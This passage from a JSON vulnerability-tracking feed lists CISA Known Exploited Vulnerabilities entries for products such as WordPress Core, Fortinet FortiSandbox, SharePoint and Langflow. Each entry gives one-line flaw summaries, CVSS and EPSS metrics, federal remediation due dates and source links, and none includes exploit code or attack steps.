guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-50522","asOf":"2026-10-08T18:13:38.322Z"},"epss":{"probability":0.03042,"percentile":0.87426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50522&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-50522","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-50522 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50522&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50522, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-50522","type":"primary","publishedAt":"2026-07-14T17:05:27.656Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2026-50522 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27137","cveId":"CVE-2021-27137","aliases":[],"kind":"vulnerability","title":"DD-WRT Stack-Based Buffer Overflow Vulnerability","summary":"DD-WRT contains a stack-based buffer overflow vulnerability that could allow an unauthenticated attacker to overflow an internal buffer used by UPnP and trigger a code execution vulnerability.","detail":"CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-21","updatedAt":null,"regions":["Global"],"vendor":"DD-WRT","product":"DD-WRT","stacks":["DD-WRT"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-21","dueAt":"2026-07-24","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2021-27137","asOf":"2026-07-16T17:38:47.947Z"},"epss":{"probability":0.03995,"percentile":0.90445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27137","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27137 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27137, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA mitre","url":"https://cveawg.mitre.org/api/cve/CVE-2021-27137","type":"primary","publishedAt":"2026-07-16T00:00:00.000Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2021-27137 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0770","cveId":"CVE-2026-0770","aliases":[],"kind":"vulnerability","title":"Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability","summary":"Langflow contains an inclusion of functionality from untrusted control sphere vulnerability that allows remote attackers to execute arbitrary code on affected installations.","detail":"CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-21","updatedAt":null,"regions":["Global"],"vendor":"Langflow","product":"Langflow","stacks":["LangChain and Langflow","Langflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-21","dueAt":"2026-07-24","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-0770","asOf":"2026-01-23T03:28:52.286Z"},"epss":{"probability":0.62562,"percentile":0.99183,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-0770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-0770","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-0770 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-0770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-0770, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA zdi","url":"https://cveawg.mitre.org/api/cve/CVE-2026-0770","type":"primary","publishedAt":"2026-01-23T03:28:52.286Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2026-0770 document's CNA supplies this CVSS 3.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-60137","cveId":"CVE-2026-60137","aliases":[],"kind":"vulnerability","title":"WordPress Core SQL Injection Vulnerability","summary":"WordPress Core contains a SQL injection vulnerability when a plugin or theme passes untrusted input to the parameter. This vulnerability can be chained with CVE-2026-63030 to allow an unauthenticated attacker to gain remote code execution on default WordPress installations.","detail":"CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-21","updatedAt":null,"regions":["Global"],"vendor":"WordPress","product":"Core","stacks":["WordPress","Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-21","dueAt":"2026-08-04","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-60137","asOf":"2026-07-18T04:13:49.003Z"},"epss":{"probability":0.05323,"percentile":0.92551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-60137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-60137","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-60137 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-60137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-60137, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA WPScan","url":"https://cveawg.mitre.org/api/cve/CVE-2026-60137","type":"primary","publishedAt":"2026-07-17T19:14:12.159Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2026-60137 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63030","cveId":"CVE-2026-63030","aliases":[],"kind":"vulnerability","title":"WordPress Core Interpretation Conflict Vulnerability","summary":"WordPress Core contains an interpretation conflict vulnerability that could allow an attacker to perform SQL Injection and achieve Remote Code Execution. This vulnerability can be chained with CVE-2026-60137.","detail":"CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-21","updatedAt":null,"regions":["Global"],"vendor":"WordPress","product":"Core","stacks":["WordPress","Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-21","dueAt":"2026-07-24","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-63030","asOf":"2026-07-18T04:13:49.898Z"},"epss":{"probability":0.10649,"percentile":0.95766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-63030","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-63030 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63030, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA WPScan","url":"https://cveawg.mitre.org/api/cve/CVE-2026-63030","type":"primary","publishedAt":"2026-07-17T19:14:12.910Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2026-63030 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-25089","cveId":"CVE-2026-25089","aliases":[],"kind":"vulnerability","title":"Fortinet FortiSandbox OS Command Injection Vulnerability","summary":"Fortinet FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS contain an OS command injection vulnerability that allows an unauthenticated attacker to execute unauthorized commands via specifically crafted HTTP requests.","detail":"CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-16","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiSandbox","stacks":["Fortinet","FortiSandbox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-16","dueAt":"2026-07-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-25089","asOf":"2026-06-09T14:27:47.492Z"},"epss":{"probability":0.76112,"percentile":0.99528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-25089&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-25089","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-25089 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25089&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-25089, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA fortinet","url":"https://cveawg.mitre.org/api/cve/CVE-2026-25089","type":"primary","publishedAt":"2026-06-09T14:27:47.492Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2026-25089 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39808","cveId":"CVE-2026-39808","aliases":[],"kind":"vulnerability","title":"Fortinet FortiSandbox OS Command Injection Vulnerability","summary":"Fortinet FortiSandbox contains an OS command injection vulnerability that could allow an unauthenticated attacker to execute unauthorized code or commands via crafted HTTP requests.","detail":"CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-16","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiSandbox","stacks":["Fortinet","FortiSandbox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-16","dueAt":"2026-07-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-39808","asOf":"2026-04-14T15:38:02.089Z"},"epss":{"probability":0.93189,"percentile":0.99833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-39808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-39808","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-39808 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-39808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-39808, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA fortinet","url":"https://cveawg.mitre.org/api/cve/CVE-2026-39808","type":"primary","publishedAt":"2026-04-14T15:38:02.089Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2026-39808 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58644","cveId":"CVE-2026-58644","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Deserialization of Untrusted Data Vulnerability","summary":"Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network.","detail":"CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-16","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-16","dueAt":"2026-07-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-58644","asOf":"2026-10-08T18:13:46.314Z"},"epss":{"probability":0.15873,"percentile":0.96861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-58644","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-58644 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58644, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-58644","type":"primary","publishedAt":"2026-07-14T17:05:37.431Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2026-58644 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-4346","cveId":"CVE-2023-4346","aliases":[],"kind":"vulnerability","title":"KNX Association KNX Protocol Connection Authorization Option 1 Overly Restrictive Account Lockout Mechanism Vulnerability","summary":"KNX Association KNX Protocol Connection Authorization Option 1 contains an overly restrictive account lockout mechanism vulnerability that could allow an attacker to purge all devices without additional security options enabled and set a BCU key to lock the device.","detail":"CISA added this entry on 2026-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-15","updatedAt":null,"regions":["Global"],"vendor":"KNX Association","product":"KNX Protocol Connection Authorization Option 1","stacks":["KNX Association","KNX Protocol Connection Authorization Option 1"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-15","dueAt":"2026-07-29","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2023-4346","asOf":"2023-08-29T19:38:55.399Z"},"epss":{"probability":0.01363,"percentile":0.71585,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-4346&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-4346","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-4346 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-4346&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-4346, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA icscert","url":"https://cveawg.mitre.org/api/cve/CVE-2023-4346","type":"primary","publishedAt":"2023-08-29T19:38:55.399Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2023-4346 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46817","cveId":"CVE-2026-46817","aliases":[],"kind":"vulnerability","title":"Oracle E-Business Suite Improper Privilege Management Vulnerability","summary":"Oracle E-Business Suite contains an improper privilege management vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Payments. Successful attacks of this vulnerability can result in takeover of Oracle Payments.","detail":"CISA added this entry on 2026-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-15","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"E-Business Suite","stacks":["Oracle","E-Business Suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-15","dueAt":"2026-07-18","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 